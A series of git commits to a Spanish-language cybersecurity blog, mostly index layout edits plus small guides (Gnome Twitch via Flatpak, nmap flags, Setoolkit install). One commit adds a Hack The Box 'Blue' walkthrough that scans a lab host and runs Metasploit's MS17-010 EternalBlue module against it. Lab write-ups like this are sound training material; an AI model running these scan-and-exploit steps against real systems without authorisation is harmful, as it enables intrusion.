From 709eb93c4825c082a2b78516585554f550fa99e5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 23:04:12 +0200 Subject: [PATCH 0290/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 0d1a8798778..9bf3de55d18 100644 --- a/index.md +++ b/index.md @@ -103,7 +103,7 @@ Escaneo de vulnerabilidades en páginas WordPress.
From 3e7b74547676516bcc66868fd42de5da8696ba95 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 23:06:11 +0200 Subject: [PATCH 0291/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 9bf3de55d18..591b2299973 100644 --- a/index.md +++ b/index.md @@ -94,7 +94,7 @@ Escaneo de vulnerabilidades en páginas WordPress. From 53365f6f407dd28dfbf02c40d02bde8433abadb4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 23:12:18 +0200 Subject: [PATCH 0293/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 9f99fef2ca4..f6b2a79471e 100644 --- a/index.md +++ b/index.md @@ -94,7 +94,7 @@ Escaneo de vulnerabilidades en páginas WordPress. - + + +
- - - + From 8a45ec2d7cfccee18439dda3caa6850946b74b61 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 23:32:39 +0200 Subject: [PATCH 0299/1701] Update index.md --- index.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 8bf8de0da0f..5264fcc4817 100644 --- a/index.md +++ b/index.md @@ -76,7 +76,7 @@ Escaneo de vulnerabilidades en páginas WordPress. [SQLmap](./Herramientas_y_Scripts/SQLmap.html) --- - +--- @@ -92,7 +92,8 @@ Escaneo de vulnerabilidades en páginas WordPress. async> - +--- +---
+
# Hack The Box -
+ |**Máquinas** |**Starting Points** | |:-------------------------------------------------|:----------------------------------------------------| From 5c189868b8cd1a3ae19fa8d3b580b5587ad47c32 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:33:27 +0200 Subject: [PATCH 0327/1701] Update index.md --- index.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/index.md b/index.md index 4b0587dfb6c..908b1447478 100644 --- a/index.md +++ b/index.md @@ -1,7 +1,6 @@ -
-# Hack The Box -
+ +# Hack The Box |**Máquinas** |**Starting Points** | |:-------------------------------------------------|:----------------------------------------------------| From d5085fac00bb9bb80fae4c7c30dd776ff4cc08ba Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:34:55 +0200 Subject: [PATCH 0328/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 908b1447478..5eb1a81af47 100644 --- a/index.md +++ b/index.md @@ -1,7 +1,7 @@ - - # Hack The Box + + |**Máquinas** |**Starting Points** | |:-------------------------------------------------|:----------------------------------------------------| |[HTB-SwagShop](./Maquinas-HTB/HTB-SwagShop.html) |[HTB-Oopsie](./Starting Point/HTB-Oopsie.html) | From c76baac7e76e44540a3703093a95ccecf35560be Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:39:42 +0200 Subject: [PATCH 0329/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 5eb1a81af47..c4f712e2651 100644 --- a/index.md +++ b/index.md @@ -1,5 +1,6 @@ # Hack The Box +
|**Máquinas** |**Starting Points** | @@ -8,7 +9,7 @@ |[HTB-Jerry](./Maquinas-HTB/HTB-Jerry.html) |[HTB-Responder](./Starting Point/HTB-Responder.html) | |[HTB-Lame](./Maquinas-HTB/HTB-Lame.html) |[HTB-Vaccine](./Starting Point/HTB-Vaccine.html) | |[HTB-Cap](./Maquinas-HTB/HTB-Cap.html) | | - +
--- # Artículos From 09f413f96d8e8a4d7d4b419f1f06f9b921281aa3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:42:43 +0200 Subject: [PATCH 0330/1701] Update index.md --- index.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/index.md b/index.md index c4f712e2651..d7c65d09001 100644 --- a/index.md +++ b/index.md @@ -1,7 +1,8 @@ -# Hack The Box -
+
+Hack The Box +
|**Máquinas** |**Starting Points** | |:-------------------------------------------------|:----------------------------------------------------| @@ -9,7 +10,7 @@ |[HTB-Jerry](./Maquinas-HTB/HTB-Jerry.html) |[HTB-Responder](./Starting Point/HTB-Responder.html) | |[HTB-Lame](./Maquinas-HTB/HTB-Lame.html) |[HTB-Vaccine](./Starting Point/HTB-Vaccine.html) | |[HTB-Cap](./Maquinas-HTB/HTB-Cap.html) | | -
+ --- # Artículos From 69361bbf708e31361a2d191bb54d3d5bd0a9911c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:45:27 +0200 Subject: [PATCH 0331/1701] Update index.md --- index.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/index.md b/index.md index d7c65d09001..861e0ca01e7 100644 --- a/index.md +++ b/index.md @@ -1,8 +1,6 @@ +# Hack The Box -
-Hack The Box -
|**Máquinas** |**Starting Points** | |:-------------------------------------------------|:----------------------------------------------------| From 723bf21d424fe4b7b455ac09239bad6ee4a060fb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:47:10 +0200 Subject: [PATCH 0332/1701] Update index.md --- index.md | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/index.md b/index.md index 861e0ca01e7..38bfbca4a8a 100644 --- a/index.md +++ b/index.md @@ -81,18 +81,7 @@ Escaneo de vulnerabilidades en páginas WordPress. crossorigin="anonymous" async> - ---- - -
- -
- - - - + From 2741efabbb6ec49d604a5fbbad116d3153805a3c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:52:07 +0200 Subject: [PATCH 0333/1701] Update index.md --- index.md | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/index.md b/index.md index 38bfbca4a8a..77b30f2d4fd 100644 --- a/index.md +++ b/index.md @@ -1,7 +1,5 @@ # Hack The Box - - |**Máquinas** |**Starting Points** | |:-------------------------------------------------|:----------------------------------------------------| |[HTB-SwagShop](./Maquinas-HTB/HTB-SwagShop.html) |[HTB-Oopsie](./Starting Point/HTB-Oopsie.html) | @@ -63,11 +61,14 @@ Escaneo de vulnerabilidades en páginas WordPress. [WPScan](./Herramientas_y_Scripts/WPScan.html) -## SQL: [SQLmap](./Herramientas_y_Scripts/SQLmap.html) +## SQL: + +[SQLmap](./Herramientas_y_Scripts/SQLmap.html) --- --- - + + @@ -85,9 +86,7 @@ Escaneo de vulnerabilidades en páginas WordPress. - - - + + --- - --- From ef9a98603d0fc8d2b74880b6a90407ebbdb914b3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:53:20 +0200 Subject: [PATCH 0334/1701] Delete Index1.html --- Index1.html | 39 --------------------------------------- 1 file changed, 39 deletions(-) delete mode 100644 Index1.html diff --git a/Index1.html b/Index1.html deleted file mode 100644 index 25e89a4c9f6..00000000000 --- a/Index1.html +++ /dev/null @@ -1,39 +0,0 @@ - - - - - - - - - - - - - Time average bounds via Sum of Squares - - - - - -
- -
- - - - - - - - - - From 1a1ca198951e8508eaccc8a20a081a4d4127d1c7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 02:53:36 +0200 Subject: [PATCH 0335/1701] Delete Prueba1.html --- Prueba1.html | 185 --------------------------------------------------- 1 file changed, 185 deletions(-) delete mode 100644 Prueba1.html diff --git a/Prueba1.html b/Prueba1.html deleted file mode 100644 index 8611a58260a..00000000000 --- a/Prueba1.html +++ /dev/null @@ -1,185 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Hack The Box | F1r0x - - - - - - - - - - - - - - - - - - -
-
- -

F1r0x

-
-

Blog sobre Ciberseguridad.

- -
- - View on GitHub -
-
-
- -
-
-

Hack The Box

- -

Captura de pantalla -2022-05-11 01-09-56

- - - - - - - - - - - - - - - - - - - - - - - - - - -
MáquinasStarting Points
HTB-SwagShopHTB-Oopsie
HTB-JerryHTB-Responder
HTB-LameHTB-Vaccine
HTB-Cap
- -
-

Artículos

- -

Linux

- -

Windows

- -

Hack The Box

- -
- -

Herramientas y Scripts

- -

Reporte y reconocimiento:

-

Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos.

- -

1.Nmap
-2.WichSystem
-3.ExtractPorts
-4.mkt
-5.SetTarget

- -

Shells:

-

Herramientas para crear shells inversas.

- -

php-reverse-shell.php

- -

Hash:

-

Herramientas de reconocimiento y desencriptación de hash.

- -

1.John the Ripper
-2.HashID
-3.Hash Identifier
-4.HashCat

- -

Fuzzing:

-

Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o -aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o -para encontrar potenciales filtraciones de memoria.

- -

Wfuzz

- -

Phishing:

-

Phishing es un término informático que distingue a un conjunto de técnicas que persiguen el engaño a una víctima ganándose su confianza haciéndose -pasar por una persona, empresa o servicio de confianza, para manipularla y hacer que realice acciones que no debería realiza.

- -

Setoolkit

- -

WordPress:

-

Escaneo de vulnerabilidades en páginas WordPress.

- -

WPScan

- -

SQL: SQLmap

- -
-
- - - - - - - - - ---- - -
- -
- - - - - - - - -
- -
- -
-
- - From 0e3dca6543ac402e641af1eb623e17164199e1a5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 11:08:24 +0200 Subject: [PATCH 0336/1701] Create Twitch.md --- Linux/Twitch.md | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 Linux/Twitch.md diff --git a/Linux/Twitch.md b/Linux/Twitch.md new file mode 100644 index 00000000000..61ae8e211e8 --- /dev/null +++ b/Linux/Twitch.md @@ -0,0 +1,29 @@ +# Como Instalar Gnome Twitch en ParrotOS o Kali Linux mediante Flatpak. + +En este artículo se mostrará como instalar `Gnome Twitch` a través de sus repositorio oficiales para poder operar +comodamente desde nuestra distribución Linux. + +Para poder descargarnos Gnome Twitch vamos a necesitar la herramienta `flatpak`. Flatpak es una tecnología para +crear, distribuir, instalar y ejecutar aplicaciones. Para instalarnos flatpak simplemente ejecutamos el siguiente comando: + + sudo apt install flatpak + +![Captura de pantalla -2022-05-11 10-41-34](https://user-images.githubusercontent.com/103068924/167813368-e40bcfdd-0367-4c10-96dc-8f2bd8125f1c.png) + +Una vez instalado ya podemos pasar a descargarnos Gnome Twithc, para ello ejecutamos los siguientes comandos: + + flatpak remote-add flathub https://flathub.org/repo/flathub.flatpakrepo + + flatpak install flathub com.vinszent.GnomeTwitch + +![Captura de pantalla -2022-05-11 10-42-58](https://user-images.githubusercontent.com/103068924/167813428-e038ab7c-894a-4c11-b118-4d0c62d9da96.png) + +Tras realizar la intalación tendremos que reiniciar el equipo para que Twitch nos aparezca en nuestro directorio +y podamos ejecutarlo de forma eficiente. Una vez reiniciado el equipo, para ejecutarlo utilizaremos `flatpak` +seguida de la opciòn `run` y el nombre del programa: + + flatpak run com.vinszent.GnomeTwitch + + + + From 8bed6e03f512abca8c0f8ae6fa41c9e3cec3e8b0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 11:08:47 +0200 Subject: [PATCH 0337/1701] Rename Twitch.md to GnomeTwitch.md --- Linux/{Twitch.md => GnomeTwitch.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Linux/{Twitch.md => GnomeTwitch.md} (100%) diff --git a/Linux/Twitch.md b/Linux/GnomeTwitch.md similarity index 100% rename from Linux/Twitch.md rename to Linux/GnomeTwitch.md From 8ec2d991743ba75d8fdb8accd42db4b0ccb51a00 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 11:17:26 +0200 Subject: [PATCH 0338/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 77b30f2d4fd..2bd6e82b273 100644 --- a/index.md +++ b/index.md @@ -17,6 +17,8 @@ [Hack The Box](./Artículos/Artículos-HTB.html) +[Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) + --- # Herramientas y Scripts From ac65e77ad5dbe66e6fc33f681b977b6a4e05024c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 22:22:31 +0200 Subject: [PATCH 0339/1701] Update Setoolkit.md --- Herramientas_y_Scripts/Setoolkit.md | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/Herramientas_y_Scripts/Setoolkit.md b/Herramientas_y_Scripts/Setoolkit.md index abbee3c7ce3..12c4c52adbb 100644 --- a/Herramientas_y_Scripts/Setoolkit.md +++ b/Herramientas_y_Scripts/Setoolkit.md @@ -21,7 +21,6 @@ Para instalar esta herramienta realizaremos lo siguiente, primero vamos a nuestr mkdir SEToolkit - cd SEToolkit Ahora nos clonaremos el siguiente repositorio de GitHub en el directorio `SEToolkit`: @@ -31,26 +30,21 @@ Ahora nos clonaremos el siguiente repositorio de GitHub en el directorio `SETool Una vez clonado, entramos en el directorio `setoolkit`: - cd setoolkit Podemos ver mediante `ls` todos los archivos clonados. Ahora procederemos a la instalación de todos los requisitos necesarios para Setoolkit: - sudo pip3 install -r requirements.txt Y finalmente realizamos la instalación de la herramienta: - sudo python setup.py - -Con esto ya tendríamos instalada nuestra herramienta. Importante, si el usuario -normal no os permite utilizarla es porque os faltan permisos de ejecución y, por tanto, -tendréis que utilizar la herramienta como `root`. - - +Con esto ya tendríamos instalada nuestra herramienta. Importante, si el usuario normal no os permite utilizarla es porque os faltan permisos +de ejecución y, por tanto, tendréis que utilizar la herramienta como `root`. + + ## Ejecución: Para ejecutarlo y poder acceder a sus múltiples herramientas, simplemente ejecutamos lo siguiente: From 4e9a163d916533f7800e34feed45b21e697eb2f1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 11 May 2022 22:27:07 +0200 Subject: [PATCH 0340/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index c2512389955..f672e528a18 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -7,7 +7,7 @@ En primer lugar, nos creamos un directorio con el nombre de la máquina desde el sudo mkdir SwagShop -Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: +Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zshrc` crearemos nuestros directorios de trabajo: sudo mkt @@ -208,7 +208,7 @@ limpiar la shell y si utilizamos un `nano`, vemos como tampoco aprovecha todo el Aunque con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional. -Para ello primero solucionaremos el problema del `Cntrl +l` de la siguiente manera, si realizamos un `echo $TERM` vemos que tiene el valor `dumb` +Para ello primero solucionaremos el problema del `Cntrl + l` de la siguiente manera, si realizamos un `echo $TERM` vemos que tiene el valor `dumb` y nosotros queremos que igual que nuestra shell, valga `xterm`: echo $TERM From 50b0ee35673dddb8b63cc79bbf5acdab0da7a107 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 11:36:48 +0200 Subject: [PATCH 0341/1701] Delete HTB-RouterSpace.md --- Maquinas-HTB/HTB-RouterSpace.md | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Maquinas-HTB/HTB-RouterSpace.md diff --git a/Maquinas-HTB/HTB-RouterSpace.md b/Maquinas-HTB/HTB-RouterSpace.md deleted file mode 100644 index 15ab72f7fda..00000000000 --- a/Maquinas-HTB/HTB-RouterSpace.md +++ /dev/null @@ -1 +0,0 @@ -# RouterSapace From 3b8c0ee4c4195d3ae80a4119bd35187477b6ccce Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 11:37:09 +0200 Subject: [PATCH 0342/1701] Delete HTB-Forge.md --- Maquinas-HTB/HTB-Forge.md | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Maquinas-HTB/HTB-Forge.md diff --git a/Maquinas-HTB/HTB-Forge.md b/Maquinas-HTB/HTB-Forge.md deleted file mode 100644 index 13aab73aadf..00000000000 --- a/Maquinas-HTB/HTB-Forge.md +++ /dev/null @@ -1 +0,0 @@ -# Maquina Forge From 97401120f464c0d08b6bfece8112090ace3c83ae Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 12:08:33 +0200 Subject: [PATCH 0343/1701] Update Nmap.md --- Herramientas_y_Scripts/Nmap.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Herramientas_y_Scripts/Nmap.md b/Herramientas_y_Scripts/Nmap.md index bb4e4ded6a6..5561b211876 100644 --- a/Herramientas_y_Scripts/Nmap.md +++ b/Herramientas_y_Scripts/Nmap.md @@ -33,7 +33,7 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier mo ### Escaneo exahustivo de Puertos definidos: - nmap -sC -sV -p[Port1,Port2] -oN targed + nmap -sC -sV -n -v -p[Port1,Port2] -oN targed `-sC` : Lanza scrips básicos de reconocimiento. @@ -64,3 +64,4 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier mo + From 126b3a30910a29eecb95b2ef21bc07e9458dfd16 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 12:09:34 +0200 Subject: [PATCH 0344/1701] Update Nmap.md --- Herramientas_y_Scripts/Nmap.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Herramientas_y_Scripts/Nmap.md b/Herramientas_y_Scripts/Nmap.md index 5561b211876..280b2343a54 100644 --- a/Herramientas_y_Scripts/Nmap.md +++ b/Herramientas_y_Scripts/Nmap.md @@ -33,7 +33,7 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier mo ### Escaneo exahustivo de Puertos definidos: - nmap -sC -sV -n -v -p[Port1,Port2] -oN targed + nmap -sC -sV -n -v -p[Port1,Port2] [Ip Víctima] -oN targed `-sC` : Lanza scrips básicos de reconocimiento. From 9d11b9b13609c2e314c5c3fce6021cb134f124da Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 13:26:34 +0200 Subject: [PATCH 0345/1701] Create HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 157 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 Maquinas-HTB/HTB-Blue.md diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md new file mode 100644 index 00000000000..e99b7a53c10 --- /dev/null +++ b/Maquinas-HTB/HTB-Blue.md @@ -0,0 +1,157 @@ +![Captura de pantalla -2022-05-13 11-40-50](https://user-images.githubusercontent.com/103068924/168258096-c362a48f-e5af-4500-822a-72db7894bbb1.png) + +# Hack The Box-Blue + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir Blue + +Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zshrc` crearemos nuestros directorios +de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +### PING + +Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows. + + ping -c 1 10.10.10.40 + +![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) + +### NMAP + +Ahora mediante `nmap` realizaremos un escaneo de puertos: + + nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.40 -oG allPorts + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-sS` : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. + +`--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. + +`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneneo. + +`-n` : Anula la resolución DNS. + +![Captura de pantalla -2022-05-13 12-02-21](https://user-images.githubusercontent.com/103068924/168261222-f452e600-c30b-4d2b-b771-8fb42b8227b2.png) + +![Captura de pantalla -2022-05-13 12-02-42](https://user-images.githubusercontent.com/103068924/168261243-724fd7e1-4fc9-44ea-8ccc-4ad16c25fa43.png) + +Vemos como nos reporta los puertos 135,139,445 y 49157. Lo que de momento más me llama la atención es que por el puerto 445 corre un servicio +`microsoft-ds`. Vamos a realizr un segundo escaneo mediante `nmap` lanzado una serie de scripts de reconocimiento para ver si nos reporta algo más +de información de estos puertos en concreto. + + nmap -sC -sV -v -n -p135,139,445,49157 10.10.10.40 -oG target + +![Captura de pantalla -2022-05-13 12-13-24](https://user-images.githubusercontent.com/103068924/168263122-4832c99c-8c10-447b-ae68-994e27bd978c.png) + +`-sC` : Lanza scrips básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. + +`-oN` : Reporta los resultados en formato nmap al archivo `target`. + +![Captura de pantalla -2022-05-13 12-14-09](https://user-images.githubusercontent.com/103068924/168263141-ceb0d066-7c9b-4651-930e-08c0d33c0b85.png) + +Vemos como nos da un poco más de información, pero lo más interesante es que nos reporta la versión exacta del sistema Windows, que este caso nos +reporta un `Windows 7 Professional 6.1`. + +![Captura de pantalla -2022-05-13 12-23-13](https://user-images.githubusercontent.com/103068924/168264574-29ff87fd-bd2c-415a-83be-4726dd0798eb.png) + +Ahora vamos utilizar `nmap` para lanzar un script más especifico y tratar de reportar alguna vunerabilidad para está version de Windows 7. Pero primero +vamos a comprobar que disponemos del script. Para poder ver todo los scripts de `nmap`, podemos utilizar el comando `locate .nse`, donde se nos desplegará +una lista de todos los disponibles. + + locate .nse + +Ahora para poder filtrar un poco los resultados, de forma paralela concatenamos un `xargs grep "categories"` y de está forma filtraremos por todos +los resultados que incluyen la palabra `categories`. + + locate .nse | xargs grep "categories" + +Y ahora para terminar de filtrar los resultados dentro de categories, vamos a quedarnos solo con los resultados que nos especifican los scripts entre +comillas, lo cual se conoce como `DATA`. Para poder filtrar pro data utilizaremos la expresión regular `'".*?"'` de la siguiente manera: + + locate .nse | xargs grep "categories" | grep -oP '".*?"' + +Finalmente vamos a quitar las categorias que se repitan mediante `sort -u`: + + locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u + +Bien, ahora para lanzar los scripts que deseamos que son `vuln` y `safe`, básicamente estos scripts lanzan un chequeo para tratar de reportar las vulnerabilidades +conocidas del sistema y `safe` lo utilizamos para no causar ningún tipo de denegación de servicio en el sistema que vamos a escanear. + + nmap --script "vuln and safe" -p445 10.10.10.40 -oN smbScan + + `--script "vuln and safe"` : Especifica los scripts que vamos a utilizar. + + `-p445` : Especifica el puerto que vamos a chequear. + + `-oN smbScan` : Exporta los resultados en formato nmap al archivo smbScan. + + Vemos como nos reporta que este sistema es vulnerable al `ms17-010` más conocido como EthernalBlue. Ahora que ya conocemos una vulnerabilidad + vamos a tratar de buscar un exploit funcional. + + searchsploit ms17-010 + +![Captura de pantalla -2022-05-13 02-38-33](https://user-images.githubusercontent.com/103068924/168269407-839dd7e4-9274-4903-af8b-a65e20e8cb8a.png) + + Vemos que `Metasploit` nos reporta el exploit `SMB Remote Code Execution Scanner (MS17-010) (Metasploit)`. Vamos abrir Metasploit y a buscar si + disponemos del exploit. + + Abrimos Metasploit: + + msfconsole + + ![Captura de pantalla -2022-05-13 02-39-06](https://user-images.githubusercontent.com/103068924/168270105-48d203d3-c899-4769-87ff-2700713fa253.png) + + Ahora buscamos filtrando por la vulnerabilidad `ms17-010`: + + search ms17-010 + +![Captura de pantalla -2022-05-13 13-05-57](https://user-images.githubusercontent.com/103068924/168271708-92c389f8-74c0-4f21-8970-d877a1b5b355.png) + +Vemos como la vulnerabilidad EthernarBlue aparece la primera, para seleccionarla utilizamos el comando `use` y especificamos el número del `exploit` en +la lista, en este caso el `0`: + + use 0 + +![Captura de pantalla -2022-05-13 13-06-25](https://user-images.githubusercontent.com/103068924/168272058-197fb5f0-ff1e-4d58-b42f-3eefb77a5105.png) + +Ahora que ya tenemos el exploit seleccionado, tenemos que configurarlo y preparado para el ataque. Para ver las opciones del exploit utilizamos el +comando `options`: + +![Captura de pantalla -2022-05-13 13-06-45](https://user-images.githubusercontent.com/103068924/168272431-3800b374-8f02-418f-9d8b-9e4a66dc7227.png) + +Para configurar el exploit debemos modificar el `RHOSTS` que es la Ip de la víctima, el `LHOST` que será nuestra Ip pública, en este caso la VPN de +hack the box y finalmente, especificamos el puerto de escucha `LPORT`. + +![Captura de pantalla -2022-05-13 13-25-31](https://user-images.githubusercontent.com/103068924/168273836-ea8929fd-7167-4988-ab1f-3b2378dce33d.png) + +![Captura de pantalla -2022-05-13 13-26-24](https://user-images.githubusercontent.com/103068924/168273919-0f1bd7da-2bfb-406e-8fa1-069e84a26753.png) + +Finalmete ejecutamos el exploit: + + exploit + +![Captura de pantalla -2022-05-13 13-09-48](https://user-images.githubusercontent.com/103068924/168273321-abd7ac24-82f9-4e54-b183-6f2f70132efb.png) + + + + + + + + + + + From 44e477ac22fea611e18d9765e06f8f5bf2a9a468 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 14:50:10 +0200 Subject: [PATCH 0346/1701] Create Metasploit.md --- Herramientas_y_Scripts/Metasploit.md | 30 ++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 Herramientas_y_Scripts/Metasploit.md diff --git a/Herramientas_y_Scripts/Metasploit.md b/Herramientas_y_Scripts/Metasploit.md new file mode 100644 index 00000000000..7a56fb8848d --- /dev/null +++ b/Herramientas_y_Scripts/Metasploit.md @@ -0,0 +1,30 @@ +# Metasploit + +# ¿Qué es Metasploit? + +Metasploit es un proyecto de código abierto para la seguridad informática, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en +tests de penetración `Pentesting` y el desarrollo de firmas para sistemas de detección de intrusos. + +Su subproyecto más conocido es el `Metasploit Framework`, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. + +Otros subproyectos importantes son las bases de datos de opcodes (códigos de operación), un archivo de shellcodes, e investigación sobre seguridad. +Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo +completamente en el lenguaje Ruby. + +# ¿Como funciona Metasploit? + +Los pasos básicos para la explotación de un sistema que utiliza el Sistema incluyen: + +1.La selección y configuración de un código el cual se va a explotar . El cual entra al sistema objetivo, mediante el aprovechamiento de una de +bugs; Existen cerca de 900 exploits incluidos para Windows, Unix / Linux y Mac OS X. +2.Opción para comprobar si el sistema destino es susceptible a los bugs elegidos. +3.La técnica para codificar el sistema de prevención de intrusiones (IPS) e ignore la carga útil codificada. +4.Visualización a la hora de ejecutar el exploit. + +Metasploit se ejecuta en Unix (incluyendo Linux y Mac OS X) y en Windows. El Sistema Metasploit se puede extender y es capaz utilizar complementos +en varios idiomas. + +Para elegir un exploit y la carga útil, se necesita un poco de información sobre el sistema objetivo, como la versión del sistema operativo y los +servicios de red instalados. Esta información puede ser obtenida con el escaneo de puertos y "OS fingerprinting", puedes obtener esta información +con herramientas como Nmap, NeXpose o Nessus, estos programas, pueden detectar vulnerabilidades del sistema de destino. Metasploit puede importar +los datos de la exploración de vulnerabilidades y comparar las vulnerabilidades identificadas. From 736548502cf27ddfc34d316247236e56082a8f1c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 16:27:05 +0200 Subject: [PATCH 0347/1701] Update Metasploit.md --- Herramientas_y_Scripts/Metasploit.md | 78 +++++++++++++++++++++++++--- 1 file changed, 71 insertions(+), 7 deletions(-) diff --git 